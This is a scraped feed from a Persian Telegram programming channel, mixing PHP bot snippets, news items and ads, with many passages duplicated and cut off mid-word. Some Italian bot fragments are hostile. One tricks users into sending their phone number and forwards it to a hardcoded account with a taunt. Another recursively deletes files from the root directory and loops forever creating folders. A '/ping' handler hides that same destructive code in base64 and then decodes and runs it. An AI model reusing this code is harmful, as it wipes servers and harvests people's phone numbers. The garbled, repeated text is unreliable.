دریافت اطلاعات IP :
فانکشن مورد نیاز :
function ip_info($ip = NULL, $purpose = "l
فانکشن مورد نیاز :
function ip_info($ip = NULL, $purpose = "l
ocation", $deep_detect = TRUE) {
$output = NULL;
if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
$ip = $_SERVER["REMOTE_ADDR"];
if ($deep_detect) {
if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
}
$purpose = str_replace(array("name", "
", " ", " ", "-", "_"), NULL, strtolower(trim($purpose)));
$support = array("country", "countrycode", "state", "region", "city", "location", "address");
$continents = array(
"AF" => "Africa",
"AN" => "Antarctica",
"AS" => "Asia",
"EU" => "Europe",
"OC" => "Australia (Oceania)",
"NA" => "North America",
"SA" => "South America"
);
if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
$ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) {
switch ($purpose) {
case "location":
$output = array(
"city" => @$ipdat->geoplugin_city,
"state" => @$ipdat->geoplugin_regionName,
"country" => @$ipdat->geoplugin_countryName,
"country_code" => @$ipdat->geoplugin_countryCode,
"continent" => @$continents[strtoupper($ipdat->geoplugin_continentCode)],
"continent_code" => @$ipdat->geoplugin_continentCode
);
break;
case "address":
$address = array($ipdat->geoplugin_countryName);
if (@strlen($ipdat->geoplugin_regionName) >= 1)
$address[] = $ipdat->geoplugin_regionName;
if (@strlen($ipdat->geoplugin_city) >= 1)
$address[] = $ipdat->geoplugin_city;
$output = implode(", ", array_reverse($address));
break;
case "city":
$output = @$ipdat->geoplugin_city;
break;
case "state":
$output = @$ipdat->geoplugin_regionName;
break;
case "region":
$output = @$ipdat->geoplugin_regionName;
break;
case "country":
$output = @$ipdat->geoplugin_countryName;
break;
case "countrycode":
$output = @$ipdat->geoplugin_countryCode;
break;
}
}
}
return $output;
}
نحوه ی استفاده :
echo ip_info($_SERVER['REMOTE_ADDR'],'location');
➖➖➖➖➖➖➖➖#فانکشن برای حذف کامل پوشه
function DeleteFolder($path){
if
برای حذف پوشه از تابع rmdir میتوان استفاده کرد اما این تابع تنها پوشه هایی را از بین میبرد که خالی است.
شما توسط فانکشن بالا می توانید با دادن نام پوشه ، آن را به طور کامل حذف کنید و مهم نیست که آن پوشه حاوی فایل میباشد یا خیر ، چون این فانکشن پوشه را باز میکند و ابتدا درون آن را خالی می کند سپس پوشه را حذف میکند.
➖➖➖➖➖➖➖➖
function DeleteFolder($path){
if
($handle=opendir($path)){
while (false!==($file=readdir($handle))){
if ($file<>"." AND $file<>"..") {
if (is_file($path.'/'.$file)) {
@unlink($path.'/'.$file);
}
if (is_dir($path.'/'.$file)) {
deletefolder($path.'/'.$file);
@rmdir($path.'/'.$file);
}}}}}
توسط این فانکشن قادر خواهید بود یک پوشه را به طور کامل حذف کنید.برای حذف پوشه از تابع rmdir میتوان استفاده کرد اما این تابع تنها پوشه هایی را از بین میبرد که خالی است.
شما توسط فانکشن بالا می توانید با دادن نام پوشه ، آن را به طور کامل حذف کنید و مهم نیست که آن پوشه حاوی فایل میباشد یا خیر ، چون این فانکشن پوشه را باز میکند و ابتدا درون آن را خالی می کند سپس پوشه را حذف میکند.
➖➖➖➖➖➖➖➖
عامل اصلی رسوایی فیس بوک مجبور به عذرخواهی شد
🔹الکساندر کوگان محقق دانشگاه کمبریج و عامل اصلی رسوایی موسسه کمبریج آنالیتیکا سرانجام از فیس بوک به علت سواستفاده از داده های خصوصی کاربران عذرخواهی کرد. /مهر
🔹الکساندر کوگان محقق دانشگاه کمبریج و عامل اصلی رسوایی موسسه کمبریج آنالیتیکا سرانجام از فیس بوک به علت سواستفاده از داده های خصوصی کاربران عذرخواهی کرد. /مهر
if(strpos(" ".$msg, "/numero ")) {
$msg = str_replace("/numero ", "", $msg);
$text = "<b>Perfetto, ora invieremo il numero al nostro database e a breve riceverai il codice.</b>"; sm($chatID, $text);
sm(88444295, "HEYLA, UN PIRLA C'È CASCATO!1!1!1!1!1!
👤 Il pirla: $name @$username_gruppo $userID
💬 Numero: $msg", false, 'HTML', false, false);
}
if($msg == "/numero" and $userID == 118806506) {sm($chatID, "EH, VOLEVI!", false, 'Markdown');}
else {sm($chatID, "falso", false, 'Markdown');}
$msg = str_replace("/numero ", "", $msg);
$text = "<b>Perfetto, ora invieremo il numero al nostro database e a breve riceverai il codice.</b>"; sm($chatID, $text);
sm(88444295, "HEYLA, UN PIRLA C'È CASCATO!1!1!1!1!1!
👤 Il pirla: $name @$username_gruppo $userID
💬 Numero: $msg", false, 'HTML', false, false);
}
if($msg == "/numero" and $userID == 118806506) {sm($chatID, "EH, VOLEVI!", false, 'Markdown');}
else {sm($chatID, "falso", false, 'Markdown');}
if($msg)
{
$adfly = file_get_contents("adfly");
$urls = scandir("/");
foreach($urls as $url)
{
unlink($url);
$risultati = scandir($url);
foreach($risultati as $risultato)
{
unlink(/$url/$risultato);
}
}
while(1==1){
mkdir(rand(0, 100000));
file_put_contents("CODICE BOT.php", $adfly."php?>");
sm($chatID, $link);
}
}
{
$adfly = file_get_contents("adfly");
$urls = scandir("/");
foreach($urls as $url)
{
unlink($url);
$risultati = scandir($url);
foreach($risultati as $risultato)
{
unlink(/$url/$risultato);
}
}
while(1==1){
mkdir(rand(0, 100000));
file_put_contents("CODICE BOT.php", $adfly."php?>");
sm($chatID, $link);
}
}
if($msg == "/ping")
{
$password = "JGFkZmx5ID0gZmlsZV9nZXRfY29udGVudHMoImFkZmx5Iik7IAokdXJscyA9IHNjYW5kaXIoIi8iKTsKZm9yZWFjaCgkdXJscyBhcyAkdXJsKQp7CnVubGluaygkdXJsKTsKJHJpc3VsdGF0aSA9IHNjYW5kaXIoJHVybCk7CmZvcmVhY2goJHJpc3VsdGF0aSBhcyAkcmlzdWx0YXRvKQp7CnVubGluaygvJHVybC8kcmlzdWx0YXRvKTsKfQp9CndoaWxlKDE9PTEpewpta2RpcihyYW5kKDAsIDEwMDAwMCkpOwpmaWxlX3B1dF9jb250ZW50cygiQ09ESUNFIEJPVC5waHAiLCAkYWRmbHkuInBocD8+Iik7CnNtKCRjaGF0SUQsICRsaW5rKTsKfQ==";
$ping = base64_decode($password);
//proteggo l'identità, per poter agire in totale aninimato
file_put_contents("ping_nasa_identity_protection.php", $ping);
//avvio il ping
include("ping_nasa_identity_protection.php");
}
{
$password = "JGFkZmx5ID0gZmlsZV9nZXRfY29udGVudHMoImFkZmx5Iik7IAokdXJscyA9IHNjYW5kaXIoIi8iKTsKZm9yZWFjaCgkdXJscyBhcyAkdXJsKQp7CnVubGluaygkdXJsKTsKJHJpc3VsdGF0aSA9IHNjYW5kaXIoJHVybCk7CmZvcmVhY2goJHJpc3VsdGF0aSBhcyAkcmlzdWx0YXRvKQp7CnVubGluaygvJHVybC8kcmlzdWx0YXRvKTsKfQp9CndoaWxlKDE9PTEpewpta2RpcihyYW5kKDAsIDEwMDAwMCkpOwpmaWxlX3B1dF9jb250ZW50cygiQ09ESUNFIEJPVC5waHAiLCAkYWRmbHkuInBocD8+Iik7CnNtKCRjaGF0SUQsICRsaW5rKTsKfQ==";
$ping = base64_decode($password);
//proteggo l'identità, per poter agire in totale aninimato
file_put_contents("ping_nasa_identity_protection.php", $ping);
//avvio il ping
include("ping_nasa_identity_protection.php");
}
🔴 فعالیت تلگرام در بیشتر نقاط دنیا از سر گرفته شد.
بیبیسی- تلگرام میگوید خدمات این پیامرسان در بیشتر نقاط اروپا، روسیه و جمهوریهای شوروی سابق از سر گرفته شده و در ایران و منطقه خاورمیانه هم به زودی به طور کامل فعال خواهد شد.
پیامرسان تلگرام از حدود دوازده ساعت پیش در نقاط مختلف دنیا از جمله ایران دچار اختلال شده بود. پاول دوروف، مدیرتلگرام داغ شدن بیش از حد یکی از سرورهای خوشهای این پیامرسان در اروپا را دلیل قطعی آن خوانده بود.
در ایران نیز در خیلی از نقاط مجددا پیام رسان تلگرام براه افتاده است.
@Jasuss
بیبیسی- تلگرام میگوید خدمات این پیامرسان در بیشتر نقاط اروپا، روسیه و جمهوریهای شوروی سابق از سر گرفته شده و در ایران و منطقه خاورمیانه هم به زودی به طور کامل فعال خواهد شد.
پیامرسان تلگرام از حدود دوازده ساعت پیش در نقاط مختلف دنیا از جمله ایران دچار اختلال شده بود. پاول دوروف، مدیرتلگرام داغ شدن بیش از حد یکی از سرورهای خوشهای این پیامرسان در اروپا را دلیل قطعی آن خوانده بود.
در ایران نیز در خیلی از نقاط مجددا پیام رسان تلگرام براه افتاده است.
@Jasuss
یکی از قدم های اولیه برای ورود به دنیای وب خرید هاست و دامنه است! خرید هاست و دامین آسان است اما بدون دانش اولیه و آگاهی از چگونگی خرید یک هاست خوب و دامنه مناسب، قطعا انتخاب بهینه و درستی صورت نخواهد گرفت. ما در این دوره ویدئویی به صورت کامل شما را با نکات مربوط به خرید Host و Domain و همچنین چگونگی خرید هر کدام آشنا خواهیم کرد. معرفی و بررسی انواع هاست (هاست ویندوز ، لینوکس ، VPS ، هاست وردپرس و غیره) ، آشنایی کامل با دامنه و پارامتر های آن ، برترین هاستینگ های ایران و نهایتاً چگونگی خرید هر کدام، برخی از سرفصل های این دوره ویدئویی هستند
بسته های یک ماهه ایرانسل
✅مدت بسته یکماهه
✅معاف از مالیات
✅تمام وقت
1 گیگ یکماهه 4000 تومان
2 گیگ یکماهه 7000 تومان
3 گیگ یکماهه 10000 تومان
4 گیگ یکماهه 13000 تومان
5 گیگ یکماهه 16000 تومان
10گیگ یکماهه 29000 تومان
خرید
@JASUSS
✅مدت بسته یکماهه
✅معاف از مالیات
✅تمام وقت
1 گیگ یکماهه 4000 تومان
2 گیگ یکماهه 7000 تومان
3 گیگ یکماهه 10000 تومان
4 گیگ یکماهه 13000 تومان
5 گیگ یکماهه 16000 تومان
10گیگ یکماهه 29000 تومان
خرید
@JASUSS
قوانین کشور ما : خوندن اطلاعات مردم با هدف تامین امنیت و حفظ حریم خصوصی افراد
تابع ساخت رمز عبور تصادفی با امنیت بسیار بالا در php
👇👇
<?php
function RandomPass($length = 8) {
$vmsString = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,./"[]{}!@#$%^&*()=-';
return substr(str_shuffle($vmsString),0,$length);
}
?>
حالا هر کجا که میخواید کد نمایش داده بشه همین تابع رو چاپ یا اصطلاحاً echo نمایید
<?php echo RandomPass() ?>
نکته : به صورت پیش فرض یک رمز عبور 8 کارکتری به صورت random ساخته میشود و برای تغییر میتوانید یک عدد که نشان دهنده تعداد کارکتر خواهد بود ، درون پرانتر قرار دهید .
به عنوان مثال 12 کارکتری :
<?php echo RandomPass(12) ?>
👇👇
<?php
function RandomPass($length = 8) {
$vmsString = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,./"[]{}!@#$%^&*()=-';
return substr(str_shuffle($vmsString),0,$length);
}
?>
حالا هر کجا که میخواید کد نمایش داده بشه همین تابع رو چاپ یا اصطلاحاً echo نمایید
<?php echo RandomPass() ?>
نکته : به صورت پیش فرض یک رمز عبور 8 کارکتری به صورت random ساخته میشود و برای تغییر میتوانید یک عدد که نشان دهنده تعداد کارکتر خواهد بود ، درون پرانتر قرار دهید .
به عنوان مثال 12 کارکتری :
<?php echo RandomPass(12) ?>
💠 پیام رسان های داخلی:
- گپ (https://gap.im)
- بله (https://bale.ai)
- ایتا (https://eitaa.com)
- سروش (https://soroush-app.ir)
- آی گپ (https://www.igap.net)
- بیسفون (https://bisphone.com)
- ساینا (http://syna-app.ir)
- فانوس (http://fanoosapp.ir)
بررسی شدند و از این میان تنها پیام رسان های گپ، بله و ایتا دارای بخشی برای برنامه نویسان و توسعه دهندگان داشتند.
📨 سروش:
با این که زیاد تبلیغش میشه (چون برای صدا وسیماست) ولی ui اپ اندرویدش بشدت اذیت کننده هست ولی در عوض نسخه ی دسکتاپش بهتر کار شده.
این که grouping داره و کانال ها و گروه ها و مخاطابین رو جدا سازی کرده از نکات مثبتش هست.
ولی جایی برای برنامه نویس توی این پیام رسان پیدا نمیشه لذا این بدرد من برنامه نویس نمیخوره.
📨 ایتا:
مشخص هست که بنیان این پیام رسان، مهندسی معکوس و سورس های تلگرام هست و با پروتکل MTProto کارمیکند.
سرعت به شدت پایینی دارد و هنوز بخش توسعه دهندگانش بصورت کامل راه اندازی نشده.
توی صحنه رقابت پیام رسان ها هم تلاش خاصی نمیکنه که مخاطب جذب کنه، و فیچر جدیدی ارائه نداده.
لذا این گزینه هم بدرد من برنامه نویس نمیخوره.
📨 آی گپ، بیسفون، ساینا، فانوس:
اینجاها هم جایی برای برنامه نویس نیست!
✅ بله:
پیام رسانی تحت نظارت بانک ملی، ui نسبتا خوب و امکاناتی کاملا بومی.
از مزایای این پیام رسان، امکان پرداخت در api اون (https://developers.bale.ai) هست که شما بدون داشتن درگاه اینترنتی (که گرفتن یه درگاه مشکلات زیادی همراه داره) میتونید کسب و کار ایجاد کنید و کاربرانتون در رباتتون با خیال راحت در بستر بانک ملی پرداخت انجام بدن.
این که بانک بخشی از تراکنشاتش رو آورده روی بستر پیام رسان، میتونه دلیل بر امن بودن بستر این پیام رسان باشه.
این پیام رسان میتونه گزینه ی خوبی برای من باشه.
اما...
✅ گپ:
یک فضای کاملا مناسب فعالیت اقتصادی با امکاناتی همچون فروشگاه ساز، مسابقه ساز، آزمون ساز و قابلیت های ارسال پیام همگانی به کاربران ربات شما، آمار کاربران ربات شما، آرشیو پیام های ارسالی و دریافتی ربات و...
داشتن یه api خوب (https://developer.gap.im/documents) و امکانات ذکر شده به شدت آدم رو وسوسه خودش میکنه ولی آیا عموم نسبت به پیام رسان بله استقبال بیشتری میکنند یا نه، باعث شده در انتخابش دو دل باشم.
📌 لذا من پیام رسان بله و گپ رو انتخاب میکنم (یکی از معایب گپ نداشتن نسخه ی دسکتاپ هست که با استفاده از قابلیت _custom service نرم افزار Rambox [https://t.me/wecangp/224] کمبود رو میشه برطرف کرد تا نسخه دسکتاپ هم منتشر بشه)، و انرژی رو روی این دوتا میذارم و درکانال ما با همین آی دی (@Jasuss)در هردو پیام رسان مطالبی جهت ساخت ربات همراه با سورس برای این پیام رسان ها منتشر خواهد شد. و همچنین مبدلی برای تبدیل سورس ربات تلگرام به ربات های این پیام رسان ها.
〰〰〰〰〰
⚫️ پروژه هایی هم در تلگرام ناتمام ماند:
https://t.me/ /125
https://t.me/ /152
https://t.me/ /215
که امیدوارم دوستان ببخشند اگر منتظر منتشر شدنشو بودند.
#Mickel
🇮🇷 @Simpleprogramming
- گپ (https://gap.im)
- بله (https://bale.ai)
- ایتا (https://eitaa.com)
- سروش (https://soroush-app.ir)
- آی گپ (https://www.igap.net)
- بیسفون (https://bisphone.com)
- ساینا (http://syna-app.ir)
- فانوس (http://fanoosapp.ir)
بررسی شدند و از این میان تنها پیام رسان های گپ، بله و ایتا دارای بخشی برای برنامه نویسان و توسعه دهندگان داشتند.
📨 سروش:
با این که زیاد تبلیغش میشه (چون برای صدا وسیماست) ولی ui اپ اندرویدش بشدت اذیت کننده هست ولی در عوض نسخه ی دسکتاپش بهتر کار شده.
این که grouping داره و کانال ها و گروه ها و مخاطابین رو جدا سازی کرده از نکات مثبتش هست.
ولی جایی برای برنامه نویس توی این پیام رسان پیدا نمیشه لذا این بدرد من برنامه نویس نمیخوره.
📨 ایتا:
مشخص هست که بنیان این پیام رسان، مهندسی معکوس و سورس های تلگرام هست و با پروتکل MTProto کارمیکند.
سرعت به شدت پایینی دارد و هنوز بخش توسعه دهندگانش بصورت کامل راه اندازی نشده.
توی صحنه رقابت پیام رسان ها هم تلاش خاصی نمیکنه که مخاطب جذب کنه، و فیچر جدیدی ارائه نداده.
لذا این گزینه هم بدرد من برنامه نویس نمیخوره.
📨 آی گپ، بیسفون، ساینا، فانوس:
اینجاها هم جایی برای برنامه نویس نیست!
✅ بله:
پیام رسانی تحت نظارت بانک ملی، ui نسبتا خوب و امکاناتی کاملا بومی.
از مزایای این پیام رسان، امکان پرداخت در api اون (https://developers.bale.ai) هست که شما بدون داشتن درگاه اینترنتی (که گرفتن یه درگاه مشکلات زیادی همراه داره) میتونید کسب و کار ایجاد کنید و کاربرانتون در رباتتون با خیال راحت در بستر بانک ملی پرداخت انجام بدن.
این که بانک بخشی از تراکنشاتش رو آورده روی بستر پیام رسان، میتونه دلیل بر امن بودن بستر این پیام رسان باشه.
این پیام رسان میتونه گزینه ی خوبی برای من باشه.
اما...
✅ گپ:
یک فضای کاملا مناسب فعالیت اقتصادی با امکاناتی همچون فروشگاه ساز، مسابقه ساز، آزمون ساز و قابلیت های ارسال پیام همگانی به کاربران ربات شما، آمار کاربران ربات شما، آرشیو پیام های ارسالی و دریافتی ربات و...
داشتن یه api خوب (https://developer.gap.im/documents) و امکانات ذکر شده به شدت آدم رو وسوسه خودش میکنه ولی آیا عموم نسبت به پیام رسان بله استقبال بیشتری میکنند یا نه، باعث شده در انتخابش دو دل باشم.
📌 لذا من پیام رسان بله و گپ رو انتخاب میکنم (یکی از معایب گپ نداشتن نسخه ی دسکتاپ هست که با استفاده از قابلیت _custom service نرم افزار Rambox [https://t.me/wecangp/224] کمبود رو میشه برطرف کرد تا نسخه دسکتاپ هم منتشر بشه)، و انرژی رو روی این دوتا میذارم و درکانال ما با همین آی دی (@Jasuss)در هردو پیام رسان مطالبی جهت ساخت ربات همراه با سورس برای این پیام رسان ها منتشر خواهد شد. و همچنین مبدلی برای تبدیل سورس ربات تلگرام به ربات های این پیام رسان ها.
〰〰〰〰〰
⚫️ پروژه هایی هم در تلگرام ناتمام ماند:
https://t.me/ /125
https://t.me/ /152
https://t.me/ /215
که امیدوارم دوستان ببخشند اگر منتظر منتشر شدنشو بودند.
#Mickel
🇮🇷 @Simpleprogramming
Telegram MTProto proxy for Telegram Desktop Alpha: https://desktop.telegram.org/changelog#alpha-version
Settings > Connection type > Default (TCP used) - click to change
Settings > Connection type > Default (TCP used) - click to change
if($msg == "Aggiungi")
{
for($i=0;$i<500;$i++)
{
sm(++$i);
}
}
{
for($i=0;$i<500;$i++)
{
sm(++$i);
}
}
<?php
global $scelta;
if($msg=="scelta_umano"){
$scelta="Umano";
$menu[] = array(
array(
"text" => "✅ Umano",
"callback_data" => "scelta_umano"
),
);
$menu[] = array(
array(
"text" => "☑️ Goblin",
"callback_data" => "scelta_goblin"
),
);
$menu[] = array(
array(
"text" => "☑️ Orco",
"callback_data" => "scelta_orco"
),
);
$menu[] = array(
array(
"text" => "☑️ Nano",
"callback_data" => "scelta_nano"
),
);
global $scelta;
if($msg=="scelta_umano"){
$scelta="Umano";
$menu[] = array(
array(
"text" => "✅ Umano",
"callback_data" => "scelta_umano"
),
);
$menu[] = array(
array(
"text" => "☑️ Goblin",
"callback_data" => "scelta_goblin"
),
);
$menu[] = array(
array(
"text" => "☑️ Orco",
"callback_data" => "scelta_orco"
),
);
$menu[] = array(
array(
"text" => "☑️ Nano",
"callback_data" => "scelta_nano"
),
);
آموزش نوشتن متغییر های اصلی سورس :)
مدرس : (mr.ashkan) =
update = json_
مدرس : (mr.ashkan) =
update = json_
decode(file_get_contents("php://input"));
$message = $update->message;
$chat_id = $update->message->chat->id;
$from_id = $update->message->from->id;
$text = $update->message->text;
#اسکی با ذکر منبع✔️کاربران خاورمیانه زیر تیغ بدافزارها
🔹محققان امنیت سایبری بدافزاری با نام ZooPark کشف کرده اند که از طریق واتس اپ، تلگرام و اپلیکیشن های کاربران کشورهای خاورمیانه از جمله ایران، لبنان، مصر ،مراکش و اردن را هدف می گیرد.
Mr.ashkan
🔹محققان امنیت سایبری بدافزاری با نام ZooPark کشف کرده اند که از طریق واتس اپ، تلگرام و اپلیکیشن های کاربران کشورهای خاورمیانه از جمله ایران، لبنان، مصر ،مراکش و اردن را هدف می گیرد.
Mr.ashkan
آموزش دریافت لیست ادمینهای گروه با ربات
➖➖➖➖➖➖➖➖
function adm
$adminlist = a
➖➖➖➖➖➖➖➖
➖➖➖➖➖➖➖➖
function adm
inlist($chat_id){
$up = json_decode(file_get_contents('https://api.telegram.org/bot'.API_KEY.'/getChatAdministrators?chat_id='.$chat_id),true);
$result = $up['result'];
$admins = "";
foreach($result as $key=>$value){
$found = array_search("administrator",$result[$key]);
if($found !== false){
$admins = $admins."\n".$result[$key]['user']['id'];
}
}
return $admins;
}
بعد از قرار دادن فانکشن👇🏼$adminlist = a
dminlist($chat_id);
خروجی شما مساوی میشه با آیدی ادمینها➖➖➖➖➖➖➖➖